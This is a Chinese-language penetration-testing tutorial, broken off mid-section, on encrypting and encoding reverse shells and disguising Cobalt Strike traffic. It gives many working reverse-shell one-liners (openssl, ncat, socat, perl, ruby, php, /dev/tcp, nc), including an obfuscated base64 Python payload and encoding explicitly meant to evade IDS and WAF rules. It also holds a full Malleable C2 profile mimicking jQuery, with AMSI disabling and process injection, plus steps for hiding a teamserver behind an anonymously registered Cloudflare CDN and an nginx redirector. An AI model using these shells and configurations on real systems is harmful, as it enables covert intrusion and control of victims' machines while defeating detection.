SSL加密的反弹shell:
0x01 使用OpenSSL对nc进行流量加密:
- 生成 SSL 证书的公钥/私钥对:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车即可。成功生成后,在桌面有两个pem加密文件:
- 服务端开启监听:
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
ncat -lvnp 4444 --ssl --ssl-cert=cert.pem --ssl-key=key.pem
- 客户端加密反弹 shell 的流量:
mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 119.x.x.x:2333 > /tmp/s; rm /tmp/s
ncat --ssl 127.0.0.1 4444 -e /bin/bash
第一行是比较常见和简单的形式,第二行是交互型的shell
socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0
socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:127.0.0.1:4444,verify=0
perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:2332",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}'
ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","1234")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end'
php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXluID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1
项目地址:https://github.com/Green-m/dark-shell
该脚本的好处是不用生成证书
服务端启动监听:
ruby dark_shell.rb listen 0.0.0.0 6868 ssl
自动化输出客户端连接命令,包含各种各样的 payload:
ruby dark_shell.rb gen 81.x.x.x 6868 ssl
补充说明:服务端的命令和客户端的命令不一定需要相同,是可以混用的。比如用 ncat 的服务端,可以使用perl/python/socat 等方式链接,甚至 metasploit 的 reverse_perl_ssl 作为服务端监听的端口,也可以使用 ncat -ssl 进行连接,底层的原理都是一样的。
0x02 Base64/Base32/Hex 编码的反弹shell:
因为大部分的系统里面都自带这几个命令,这也符合本文的出发点。但由于nc / bash / telnet 等命令基本都不支持对流量进行编码,因此需要我们对流量进行单独处理。
- 服务端:
服务端使用原生自带的命令来监听比较麻烦,命令比较长,也容易出问题。因此我这里就直接采用 dark-shell 的方式来进行:
ruby dark_shell.rb listen 0.0.0.0 6888 base64
ruby dark_shell.rb listen 0.0.0.0 6888 base32
ruby dark_shell.rb listen 0.0.0.0 6888 hex
- Client 端:
exec:
# base64
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base64 -d|sh |base64 >&137 2>&137;done
# base32
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|base32 -d|sh |base32 >&137 2>&137;done
# hex
0<&137-;exec 137<>/dev/tcp/127.0.0.1/4444;cat <&137 |while read ff; do echo $ff|xxd -r -p|sh |xxd -p >&137 2>&137;done
nc:
# base64
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done
# base32
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done
# hex
mknod backpipe p;tail -f backpipe |nc 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done
telnet:
# base64
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base64 -d|bash|base64 &> backpipe; done
# base32
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|base32 -d|bash|base32 &> backpipe; done
# hex
tail -f backpipe |telnet 127.0.0.1 4444 | while read ff; do echo $ff|xxd -r -p|bash|xxd -p &> backpipe; done
dark-shell 直接生成,最后的参数为编码的方式:
ruby dark_shell.rb gen 81.x.x.x 6888 hex
0x03 编码命令:
由于 hids,nids,waf 等各种安全检测手段的存在,我们的命令可能直接会匹配上某些正则规则(大部分ids还依赖这样比较低级的手法来检测),从而触发报警;另外, 前文中的 hex 和 base64 编码的命令,是多条命令拼接和处理的,存在大量符号和空格,容易被截断和转义。
出于这两种情况的存在,我们可以对命令进行编码,来解决这样的问题。
/bin/bash -c '{echo,d2hvYW1pCg==}|{base64,-d}|{bash,-i}'
等价于whoami
echo 77686f616d690a|xxd -p -r| bash -i
等价于whoami
在 dark-shell 里直接实现了这样的功能:ruby dark_shell.rb gencode 81.x.x.x 6999 base64
每段的第一条表示编码前的命令,后面三条命令是不同的编码形式: base64, hex, base32。
CS流量加密:
0x01 使用CDN:
使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!
注意:使用国内CDN服务商的产品的域名必须完成ICP实名备案
利用步骤:
-
- 匿名注册新域名:
https://www.freenom.com/zh/index.html?lang=zh
- 匿名注册新域名:
-
- 匿名注册免费CDN服务Cloudflare:
https://www.cloudflare.com/zh-cn/
- 匿名注册免费CDN服务Cloudflare:
补充:国内云主机且没有进行备案,就无法使用80、8080、443、8443端口提供服务
注意:Cloudflare的CDN对于http、https代理模式只能监听特定端口,免费版本的cloudflare支持解析少量的端口:
- Cloudflare支持的HTTP端口范围: 80,8080,8880,2052,2082,2086,2095
- Cloudflare支持的HTTPS端口范围: 443,2053,2083,2087,2096,8443
实际测试中似乎无法通过443上线,状态码报525
以上针对的是https的beacon,http的话在DNS中加一个二级域名并使用该二级域名上线即可。
不用额外再弄一个profile,因为http的beacon只看域名。
0x02 cloudflare生成证书:
利用过程:
如果使用默认证书进行渗透和测试,容易被IDS入侵检测工具和流量检测工具拦截和发现。默认使用的证书是 cobaltstrike.store
- 1. 在cloudflare的dash页面找到SSL/TLS->源服务器->创建证书,之后将公钥和私钥保存下来,分别为server.pem和client.key
Cloudflare 默认的 TLS 配置为灵活,由于我们使用了 Cloudflare 给原服务器发的证书,我们可以改成完全(严格)提高安全性。
- 2. 将证书打包并生成store文件:
openssl pkcs12 -export -in server.pem -inkey client.key -out your-domain.com.p12 -name your-domain.com -passout pass:"pass123"
keytool -importkeystore -deststorepass "pass123" -destkeypass "pass123" -destkeystore your-domain.com.store -srckeystore your-domain.com.p12 -srcstoretype PKCS12 -srcstorepass "pass123" -alias your-domain.com
将生成的证书,放置到CS根目录;将teamserver中的keystore,keyStorePassword替换成上传的证书和证书密码。
- 3. profile
C2-profile 文件是 Cobalt Strike 内置工具,可以修改流量特征以及修改beacon的默认行为,将攻击流量伪装成正常的流量,防止安全设备对流量特征进行监控和拦截。
包括以下行为的流量特征:
1、get请求
2、post请求
3、被远程加载的beacon.dll的特征
4、远程加载beacon.dll的url
5、进程注入的具体细节
6、后渗透模块的特征修改
官网指导:
https://www.cobaltstrike.com/help-malleable-c2
https://www.cobaltstrike.com/help-malleable-postex
要想使用我们自己申请的证书,这里就需要使用‘Malleable C2 profile’的方式来操作。
Github 上已经有非常多优秀的 C2-Profile 可以供我们使用了,我们需要使用 Profile 让 Beacon 和 Teamserver 之间的交互看起来尽可能像正常的流量。
https://github.com/rsmudge/Malleable-C2-Profiles
https://github.com/threatexpress/malleable-c2
这里我使用的是后者 jquery 的 profile,需要下载对应cs版本的profile文件进行修改
# Malleable C2 Profile
# Version: CobaltStrike 4.4
# File: jquery-c2.4.4.profile
# Description:
# c2 profile attempting to mimic a jquery.js request
# uses signed certificates
# or self-signed certificates
# Authors: @joevest, @andrewchiles, @001SPARTaN
# Profile Name
set sample_name "jQuery CS 4.4 Profile";
## - Beacon Timing in milliseconds (1000 = 1 sec)
set sleeptime "45000"; # 回传时间 45 S
#set sleeptime "300000"; # 5 Minutes
set jitter "37"; # 会传时间的波动在37%
################################################
## Server Response Size jitter
################################################
## Description:
## Append random-length string (up to data_jitter value) to http-get and http-post server output.
set data_jitter "100";
set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
https-certificate {
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
set tcp_port "42585";
set tcp_frame_header "\x80";
################################################
## SMB beacons
################################################
## Description:
## Peer-to-peer beacon using SMB for communication
## SMB Frame Header
## - Added in CS 4.1, prepend header to SMB Beacon messages
## Defaults:
## pipename: msagent_##
## pipename_stager: status_##
## smb_frame_header: N\A
## Guidelines:
## - Do not use an existing namedpipe, Beacon doesn't check for conflict!
## - the ## is replaced with a number unique to a teamserver
## ---------------------
set pipename "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe
set pipename_stager "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe
set smb_frame_header "\x80";
################################################
## DNS beacons
################################################
## Description:
## Beacon that uses DNS for communication
## Defaults:
## dns_idle: 0.0.0.0
## dns_max_txt: 252
## dns_sleep: 0
## dns_stager_prepend: N/A
## dns_stager_subhost: .stage.123456.
## dns_ttl: 1
## maxdns: 255
## beacon: N/A
## get_A: cdn.
## get_AAAA: www6.
## get_TXT: api.
## put_metadata: www.
## put_output: post.
## ns_reponse: drop
## Guidelines:
## - DNS beacons generate a lot of DNS request. DNS beacon are best used as low and slow back up C2 channels
dns-beacon {
# Options moved into "dns-beacon" group in version 4.3
set dns_idle "74.125.196.113"; #google.com (change this to match your campaign)
set dns_max_txt "252";
set dns_sleep "0"; # Force a sleep prior to each individual DNS request. (in milliseconds)
set dns_ttl "5";
set maxdns "255";
set dns_stager_prepend ".resources.123456.";
set dns_stager_subhost ".feeds.123456.";
# DNS subhosts override options, added in version 4.3
set beacon "a.bc.";
set get_A "b.1a.";
set get_AAAA "c.4a.";
set get_TXT "d.tx.";
set put_metadata "e.md.";
set put_output "f.po.";
set ns_response "zero";
}
set ssh_banner "OpenSSH_7.4 Debian (protocol 2.0)";
set ssh_pipename "wkssvc##";
set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set
http-stager {
set uri_x86 "/jquery-3.3.1.slim.min.js";
set uri_x64 "/jquery-3.3.2.slim.min.js";
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Accept-Language" "en-US,en;q=0.5";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
}
}
post-ex {
# Optionally specify non-existent filepath to force manual specification based on the Beacon host's running processes
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
# Hardcode paths like C:\\Windows\\System32\\dllhost.exe to avoid potential detections for %SYSNATIVE% use. !! This will break when attempting to spawn a 64bit post-ex job from a 32bit Beacon.
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
# change the permissions and content of our post-ex DLLs
set obfuscate "true";
# pass key function pointers from Beacon to its child jobs
set smartinject "true";
# disable AMSI in powerpick, execute-assembly, and psinject
set amsi_disable "true";
# Modify our post-ex pipe names
set pipename "Winsock2\\CatalogChangeListener-###-0,";
set keylogger "GetAsyncKeyState";
#set threadhint "module!function+0x##"
}
stage {
# CS 4.2 added allocator and MZ header overrides
set allocator "VirtualAlloc"; # Options are: HeapAlloc, MapViewOfFile, and VirtualAlloc
#set magic_mz_x86 "MZRE";
#set magic_mz_x64 "MZAR";
set magic_pe "NO";
set userwx "false";
set stomppe "true";
set obfuscate "true";
set cleanup "true";
# CS 3.12 Addition "Obfuscate and Sleep"
set sleep_mask "true";
# CS 4.1
set smartinject "true";
# Make the Beacon Reflective DLL look like something else in memory
# Values captured using peclone agaist a Windows 10 version of explorer.exe
set checksum "0";
set compile_time "11 Nov 2016 04:08:32";
set entry_point "650688";
set image_size_x86 "4661248";
set image_size_x64 "4661248";
set name "srv.dll";
set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
# The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
transform-x86 { # transform the x86 rDLL stage
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
strrep "ReflectiveLoader" "execute"; # Change this text
strrep "This program cannot be run in DOS mode" ""; # Remove this text
strrep "beacon.dll" ""; # Remove this text
}
transform-x64 { # transform the x64 rDLL stage
prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops
strrep "ReflectiveLoader" "execute"; # Change this text in the Beacon DLL
strrep "beacon.x64.dll" ""; # Remove this text in the Beacon DLL
}
stringw "jQuery"; # Add this string to the DLL
}
process-inject {
# set a remote memory allocation technique: VirtualAllocEx|NtMapViewOfSection
set allocator "NtMapViewOfSection";
# Minimium memory allocation size when injecting content
set min_alloc "17500";
# Set memory permissions as permissions as initial=RWX, final=RX
set startrwx "false";
set userwx "false";
# Transform injected content to avoid signature detection of first few bytes. Only supports prepend and append.
transform-x86 {
prepend "\x90\x90";
#append "\x90\x90";
}
transform-x64 {
prepend "\x90\x90";
#append "\x90\x90";
}
execute {
# The order is important! Each step will be attempted (if applicable) until successful
## self-injection
CreateThread "ntdll!RtlUserThreadStart+0x42";
CreateThread;
## Injection via suspened processes (SetThreadContext|NtQueueApcThread-s)
# OPSEC - when you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.
# SetThreadContext;
NtQueueApcThread-s;
## Injection into existing processes
# OPSEC Uses RWX stub - Detected by Get-InjectedThread. Less detected by some defensive products.
#NtQueueApcThread;
# CreateRemotThread - Vanilla cross process injection technique. Doesn't cross session boundaries
# OPSEC - fires Sysmon Event 8
CreateRemoteThread;
# RtlCreateUserThread - Supports all architecture dependent corner cases (e.g., 32bit -> 64bit injection) AND injection across session boundaries
# OPSEC - fires Sysmon Event 8. Uses Meterpreter implementation and RWX stub - Detected by Get-InjectedThread
RtlCreateUserThread;
}
}
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=10, max=100";
header "Connection" "Keep-Alive";
# Use this option if your teamserver is behind a redirector
set trust_x_forwarded_for "true";
# Block Specific User Agents with a 404 (added in 4.3)
set block_useragents "curl*,lynx*,wget*";
}
http-get {
set uri "/jquery-3.3.1.min.js";
set verb "GET";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
mask;
base64url;
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
}
http-post {
set uri "/jquery-3.3.2.min.js";
set verb "POST";
client {
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
#header "Host" "code.jquery.com";
header "Referer" "http://code.jquery.com/";
header "Accept-Encoding" "gzip, deflate";
id {
mask;
base64url;
parameter "__cfduid";
}
output {
mask;
base64url;
print;
}
}
server {
header "Server" "NetDNA-cache/2.2";
header "Cache-Control" "max-age=0, no-cache";
header "Pragma" "no-cache";
header "Connection" "keep-alive";
header "Content-Type" "application/javascript; charset=utf-8";
output {
mask;
base64url;
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
# 2nd Line
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
print;
}
}
}
https-certificate为证书相关的配置,其他client.header中Host的值要为我们申请的域名,其他的部分,根据个人情况去配置。将host头修改为Cloudflare加速的域名(http-stager、http-get、http-post):
https-certificate {
set keystore"keystore.store"; //证书所在的位置
set password "1234565";//证书的密码
}
http-config {
set trust_x_forwarded_for "true";
}
禁用缓存:
在这个Profile jquery-c2.4.*.profile 中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。
添加Cloudflare规则 ,不代理js请求。
需要更改Profile中的响应头配置,不然可能会出现能上线但是无法回显命令的情况
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";
使用c2lint 验证profile是否配置成功:./c2lint jquery-c2.4.4.profile
或者也可以选择使用Github 开源项目生成Profile文件,项目地址:https://github.com/FortyNorthSecurity/C2concealer
- 4. 使用配置文件启动服务器:
./teamserver IP 密码 profile文件
在确保域名解析正确的情况下,此时 HTTPS BEACON 已经可以上线了,我们需要对 CS 的 listener 进行配置。填入三次你的域名,其他的默认就好。
注意:powershell的上线方式需要启动ssl证书。
0x03 nginx反向代理:
安装nginx:
apt install nginx nginx-extras
使用https://github.com/threatexpress/cs2modrewrite提供的脚本生成配置文件:
python cs2nginx.py -i havex.profile -c https://127.0.0.1:8443 -r https://www.baidu.com -H www.xxxxxx.com > nginx.conf
对各个参数进行说明,如下
-i:模板文件,这个固定的,可以不用管。
-c:为后端 CS 绑定的端口,这个会在后面 CS 的配置中有所体现
-r:为不合要求的访问 302 重定向去的位置,这里填了百度
-H:为你的域名,这里就是你配的那个
将已生成的nginx.conf上传,并覆盖/etc/nginx/nginx.conf,对生成的配置文件需要进一步修改:
- 配置 ssl 证书:
#####################
# SSL Configuration
#####################
listen 443 ssl; //这里需要修改成MF允许的https端口
listen [::]:443 ssl;
ssl on;
ssl_certificate /home/cs4.4/server.pem;
ssl_certificate_key /home/cs4.4/client.key;
ssl_session_cache shared:le_nginx_SSL:1m;
ssl_session_timeout 1440m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
- 定制化处理 location 块:
